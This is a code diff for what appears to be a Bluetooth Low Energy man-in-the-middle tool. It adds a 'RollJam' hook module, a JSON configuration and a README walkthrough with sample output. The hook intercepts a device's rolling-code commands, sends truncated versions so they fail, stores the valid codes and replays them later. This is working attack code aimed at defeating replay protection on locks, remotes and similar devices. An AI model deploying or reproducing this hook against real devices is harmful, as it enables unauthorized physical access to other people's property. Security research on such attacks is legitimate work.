diff --git a/advertise.js b/advertise.js index fa10ed0..718fbbf 100644 --- a/advertise.js +++ b/advertise.js @@ -17,6 +17,7 @@ var options = new getopt([ ['f' , 'funmode' , 'have fun!'], ['' , 'jk' , 'see http://xkcd.com/1692'], ['h' , 'help' , 'display this help'], + ['w' , 'hooksfile=FILE' , 'hook function'], ]); options.setHelp("Usage: node advertise -a [ -s ] [-S] \n[[OPTIONS]]" ) @@ -28,14 +29,17 @@ if ( !opt.options.advertisement) { } if (opt.options.help) { - options.showHelp() - process.exit(0) + options.showHelp(); + process.exit(0); } if (opt.options.funmode) { - console.log('>>>>>>>>>>>>>>>>> MAY THE FUN BE WITH YOU! <<<<<<<<<<<<<<<<<<'.rainbow.inverse) + console.log('>>>>>>>>>>>>>>>>> MAY THE FUN BE WITH YOU! <<<<<<<<<<<<<<<<<<'.rainbow.inverse); } +if (opt.options.hooksfile) { + hookFunctions = require('./hookFunctions/'+opt.options.hooksfile); +} var devicesPath=process.env.DEVICES_PATH; var dumpPath=process.env.DUMP_PATH; @@ -58,7 +62,6 @@ if (opt.options.static) { wsclient.write = function (peripheralId, serviceUuid, uuid) { console.log('static run write not defined in hooks ' + getServiceNames(serviceUuid, uuid)); }; wsclient.read = function (peripheralId, serviceUuid, uuid) { console.log('static run read not defined in hooks '+ getServiceNames(serviceUuid, uuid)); }; wsclient.notify = function (peripheralId, serviceUuid, uuid) { console.log('static run subscribe '+ getServiceNames(serviceUuid, uuid)); }; - wsclient.write(); } else { diff --git a/hookFunctions/README.md b/hookFunctions/README.md index 989b98b..812f8d4 100644 --- a/hookFunctions/README.md +++ b/hookFunctions/README.md @@ -1 +1,83 @@ Example hook functions. + +## RollJam hooking helper + +Some devices use special commands that couldn't be understand without knowing their secrets, but also make the use of some kind of rolling code mecanisms to prevent against replaying attacks. + +To play with rolling code attacks in BLE, as it's the case for RollJam attack against remote controls using rolling code, a generic scripts hooking helper ``rolljam.js`` has been provided here. + +To use it, you can launch the ``advertise.js`` script as follows with the ``-w`` command after configuring the devices characteristics, and configuring also the ``RollJam.js`` commands configuration files: + +```bash +# node advertise.js -a devices/********ba6d_********BA6D-.adv.json -s devices/*******ba6d.srv.json -w rolljam.js +[...] + <<<<<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>>>>>>>>>> +Client connected: **:**:**:**:ce:78 +>> Subscribe: **f0 -> **f2 +>> Subscribe: **f0 -> **f3 +>> Write: **f0 -> **f1 : 3984****************************8ccd +[RollJam] Keeping 1st cmd key part 1: 3984****************************8ccd +[RollJam] Playing incomplete cmd: 3984 + ******ba6d:**f0 confirmed subscription state: **f2 + ******ba6d:**f0 confirmed subscription state: **f2 +[...] +>> Write: **f0 -> **f1 : 25***********************************2e +[RollJam] Keeping 1st cmd key part 2: 25***********************************2e +[RollJam] Playing incomplete cmd: 25 +[...] +[RollJam] Keeping 2nd cmd key part 2: 25***************************ed +[RollJam] Playing 1st cmd key instead, part 2: 25******************************2e +Client disconnected: **:**:**:**:ce:78 +``` + +To add the hook, please add the following lines in the characteristics you want to interact with: + +```bash +{ + "uuid": "**f0", + "characteristics": [ + { + "uuid": "**f1", + "properties": [ + "read", + "write" + ], + "value": "0000000000000000000000000000000000000000", + "descriptors": [ + { + [...] + } + ], + "hooks": { + "dynamicWrite": "RollJamWrite" + }, + +``` + +To configure the command to hook, you can edit the ``RollJam.json`` in the ``hookFunctions`` directory as follows: + +```bash +{ "commands" : + { "3984" : { # substring of the command + "to" : "3984", # to replace with this command (exemple with imcomplete command) + "number" : 1 # command part 1 + }, + "25" : { + "to" : "25", + "number" : 2 # command part 2 + } + } +} +``` + +The ``number`` field is an index of the command part/fragmentation number. + +The 2nd session commands are kept in the ``dump/.rolljam`` file as follows: + +```bash +# cat dump/*********ba6d.rolljam +2018.07.09 10:49:52.052 | < W | **f0 | **f1 | 39***********************************be +2018.07.09 10:49:53.514 | < W | **f0 | **f1 | 25***********************************56 +``` + +And could be replayed after with GATTacker, or readapted for nRF connect with ``gattacker2nrf.js`` to kept them as macros in the application to be replayed also. diff --git a/hookFunctions/RollJam.json b/hookFunctions/RollJam.json new file mode 100644 index 0000000..21c3c10 --- /dev/null +++ b/hookFunctions/RollJam.json @@ -0,0 +1,11 @@ +{ "commands" : + { "3984" : { + "to" : "3984", + "number" : 1 + }, + "25" : { + "to" : "25", + "number" : 2 + } + } +} diff --git a/hookFunctions/rolljam.js b/hookFunctions/rolljam.js new file mode 100644 index 0000000..3e69ca3 --- /dev/null +++ b/hookFunctions/rolljam.js @@ -0,0 +1,87 @@ +var fs = require('fs'); +var colors = require('colors'); +var utils = require('../lib/utils'); + +/* + * RollJam hook helper by @FlUxIuS + */ + + +// RollJam vars +var rolljam_cmd1=[]; +var rolljam_cmd2=[]; +var rolljam_ctr = 0; +var rolljam_ctr2 = 0; +var rjconfig = JSON.parse(fs.readFileSync('hookFunctions/RollJam.json')); + +function getDateTime() { + var date = new Date(); + var hour = date.getHours(); + hour = (hour < 10 ? "0" : "") + hour; + var min = date.getMinutes(); + min = (min < 10 ? "0" : "") + min; + var sec = date.getSeconds(); + sec = (sec < 10 ? "0" : "") + sec; + var msec = date.getMilliseconds(); + msec = (msec < 100 ? "0" : "") + msec; + var year = date.getFullYear(); + var month = date.getMonth() + 1; + month = (month < 10 ? "0" : "") + month; + var day = date.getDate(); + day = (day < 10 ? "0" : "") + day; + return year + "." + month + "." + day + " " + hour + ":" + min + ":" + sec + '.' + msec; +} + +function RollJamLog(type, peripheralId, serviceUuid, uuid, data){ + /* + * Logs only write commands in a special file with *.rolljam extension + * */ + var dumpFile='dump/' + peripheralId + '.rolljam'; + var toSave = getDateTime() + ' | ' + type + ' | ' + serviceUuid; + toSave += ' | ' + uuid; + toSave += ' | ' + data.toString('hex') + ' (' + utils.hex2a(data.toString('hex'))+ ')\n'; + + if (type === '< W') { + fs.appendFile(dumpFile, toSave, function(err) { + if(err) { + return console.log(err); + } + }) + } +} + +function RollJamWrite(peripheralId, service, characteristic, type, data, wsclient, callback) { + /* + * Capturing commands defined in the RollJam.json file and playing only commands of the first session + */ + datastr = data.toString('hex'); + commands = rjconfig.commands + for(var key in commands){ // Looking for all defined commands substrings + value = commands[key]; + if (datastr.substring(0,key.length) === key) { + if (rolljam_ctr === value.number-1) { // if a substring is found and it + console.log('[RollJam] Keeping 1st cmd key part '+value.number+': '.yellow + datastr.yellow.inverse); + rolljam_cmd1.push(data); + data = new Buffer(value.to, 'hex'); + console.log('[RollJam] Playing incomplete cmd: '.yellow + data.toString('hex').yellow.inverse); + rolljam_ctr++; + } else { // Keeping 2nd session cmds and pushing first captured ones + console.log('[RollJam] Keeping 2nd cmd key part '+value.number+': '.yellow + datastr.yellow.inverse); + rolljam_cmd2.push(data); + RollJamLog('< W', peripheralId, service, characteristic, data); + data = rolljam_cmd1[value.number-1]; + console.log('[RollJam] Playing 1st cmd key instead, part '+value.number+': '.yellow + data.toString('hex').yellow.inverse); + rolljam_ctr2++; + + if (rolljam_ctr === rolljam_ctr2) + { // At the end: reinit the RollJam process + rolljam_ctr = 0; + rolljam_ctr2 = 0; + } + } + } + } + callback(null, data); +} + +module.exports.RollJamWrite = RollJamWrite;